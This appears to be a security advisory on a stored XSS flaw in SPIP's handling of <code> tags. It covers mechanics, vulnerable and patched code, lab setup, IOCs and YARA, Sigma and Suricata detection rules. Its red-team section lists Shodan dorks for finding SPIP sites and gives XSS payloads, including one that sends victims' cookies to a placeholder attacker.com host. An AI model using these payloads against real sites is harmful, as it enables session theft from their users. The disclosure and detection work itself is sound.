CVE-2025-71240

Executive Summary

CVE-2025-71240 is a stored Cross-Site Scripting (XSS) vulnerability in SPIP, a popular open-source content management system (CMS) used primarily in French-speaking regions. The flaw resides in the handling of HTML <code> tags. An attacker with the ability to post or edit content can inject arbitrary JavaScript within a <code> block. Because SPIP fails to properly sanitize or escape JavaScript inside these tags, the malicious script is stored on the server and executed in the browser of any user viewing the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability affects all versions of SPIP prior to 4.2.15. No public proof-of-concept (PoC) or exploit code has been released at this time, but the attack vector is straightforward and requires only the ability to submit content.

Supply Chain & Package Security

SPIP is distributed as a self-contained PHP application. The vulnerability is not in a third-party package but in the core application logic. Administrators should verify the integrity of their SPIP installation by comparing file hashes against the official release. The official patch is available via the SPIP project’s download page or Git repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – the attacker can exploit this remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): None – the attacker does not need to be authenticated to trigger the XSS (if the content is publicly accessible).
• User Interaction (UI): Required – the victim must view the crafted page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for widespread impact on SPIP-based sites elevate the risk. An attacker can use this to pivot to more severe attacks.

Deep Dive & Mechanics

The vulnerability exists in SPIP’s content rendering pipeline. When a user submits content containing <code> tags, SPIP’s HTML sanitizer (typically based on a whitelist of allowed tags) permits the <code> tag but fails to apply proper output encoding to the content inside it. Specifically, JavaScript event handlers or <script> tags embedded within <code> are not stripped or escaped.

Attack Flow:

1. An attacker with content submission privileges (e.g., a commenter, author, or editor) crafts a post or comment containing:

   <code><script>alert('XSS')</script></code>
   

2. SPIP stores this content in its database without proper sanitization of the <code> inner content.
3. When a victim visits the page, the server renders the stored content. The browser interprets the <script> tag inside the <code> block and executes the JavaScript.
4. The script runs in the context of the victim’s session, allowing the attacker to steal cookies, perform actions on behalf of the user, or deface the page.

Root Cause: The sanitization logic treats <code> as a safe inline element but does not recursively sanitize its child content. This is a classic case of incomplete HTML filtering.

Vulnerable vs. Patched Code

Vulnerable Code (SPIP < 4.2.15): The sanitizer function (e.g., safehtml or propre) allows <code> tags and passes their inner content through without escaping JavaScript.

// Simplified vulnerable logic
function sanitize_html($content) {
    $allowed_tags = ['code', 'p', 'a', 'strong', 'em'];
    // Strip disallowed tags but do not escape content inside allowed tags
    return strip_tags($content, '<code><p><a><strong><em>');
}

Patched Code (SPIP 4.2.15): The patched version applies HTML entity encoding to the content inside <code> tags, preventing script execution.

// Simplified patched logic
function sanitize_html($content) {
    $allowed_tags = ['code', 'p', 'a', 'strong', 'em'];
    // Use a proper HTML purifier that escapes content inside all tags
    $config = HTMLPurifier_Config::createDefault();
    $config->set('HTML.Allowed', 'code,p,a[href],strong,em');
    $purifier = new HTMLPurifier($config);
    return $purifier->purify($content);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A SPIP instance running version < 4.2.15.
• Ability to submit content (e.g., as a registered user or via a public comment form).

Steps:

1. Identify a SPIP site. Use Shodan dorks: http.title:"SPIP" or http.html:"spip.php".
2. Navigate to a page that allows content submission (e.g., article comments, forum posts, or article creation).
3. Inject the following payload into the content field:

   <code><img src=x onerror=alert(document.cookie)></code>
   

   Or for a more stealthy approach:

   <code><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script></code>
   

4. Submit the content. The payload is stored.
5. Craft a link to the affected page and send it to the victim (social engineering).
6. When the victim views the page, the script executes, exfiltrating their session cookie to your server.

Note: No public exploit code is available. The above is a standard XSS exploitation technique.

Blue Team (Defensive)

Detection:

• Monitor web application logs for unusual content in POST requests, especially patterns like <code><script or <code><img.
• Use WAF rules to block JavaScript event handlers inside <code> tags.

Hunting:

• Search the database for stored content containing <code> followed by <script or event handlers.
• Query: SELECT * FROM spip_articles WHERE texte LIKE '%<code><script%' OR texte LIKE '%<code><img%'

Lab Setup:

1. Deploy a vulnerable SPIP instance (e.g., version 4.2.14) using Docker:

   docker run -d -p 8080:80 --name spip-vuln spip/spip:4.2.14
   

2. Access http://localhost:8080 and complete the installation.
3. Create a test article or enable comments.
4. Inject the XSS payload as described above.
5. Verify the script executes by visiting the page.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal?cookie=...).
  • Unusual referrer headers from SPIP pages to external IPs.
• Host:
  • Database entries in spip_articles, spip_forum, or similar tables containing <code> tags with <script> or event handlers.
  • Modified .htaccess or SPIP configuration files (if attacker escalates).
• Logs:
  • Web server access logs showing requests to pages with injected content.
  • Error logs containing JavaScript execution errors (e.g., ReferenceError: alert is not defined if payload is malformed).

Detection Engineering

YARA Rule

rule CVE_2025_71240_SPIP_XSS {
    meta:
        description = "Detects SPIP XSS payloads in HTML content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-71240"
    strings:
        $code_script = /<code>.*?<script/i
        $code_event = /<code>.*?on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: SPIP Stored XSS via Code Tag
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-71240 by injecting JavaScript inside <code> tags.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'spip.php'
        cs-body|contains|all:
            - '<code>'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of <code> with <script> in educational content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-71240 SPIP Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"spip.php"; http_uri; content:"<code>"; http_client_body; content:"<script"; http_client_body; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SPIP to version 4.2.15 or later. This is the only complete fix.
2. If immediate upgrade is not possible, apply a virtual patch using a Web Application Firewall (WAF) to block requests containing <code> followed by <script or event handlers.
3. Disable user-submitted content (comments, forums) temporarily until the patch is applied.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to restrict script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self'
  

• Regularly audit SPIP installations and apply security updates promptly.
• Use a web application scanner to identify similar XSS vulnerabilities.
• Educate content editors about the risks of pasting raw HTML.

Valters IT
Securing digital frontiers, one CVE at a time.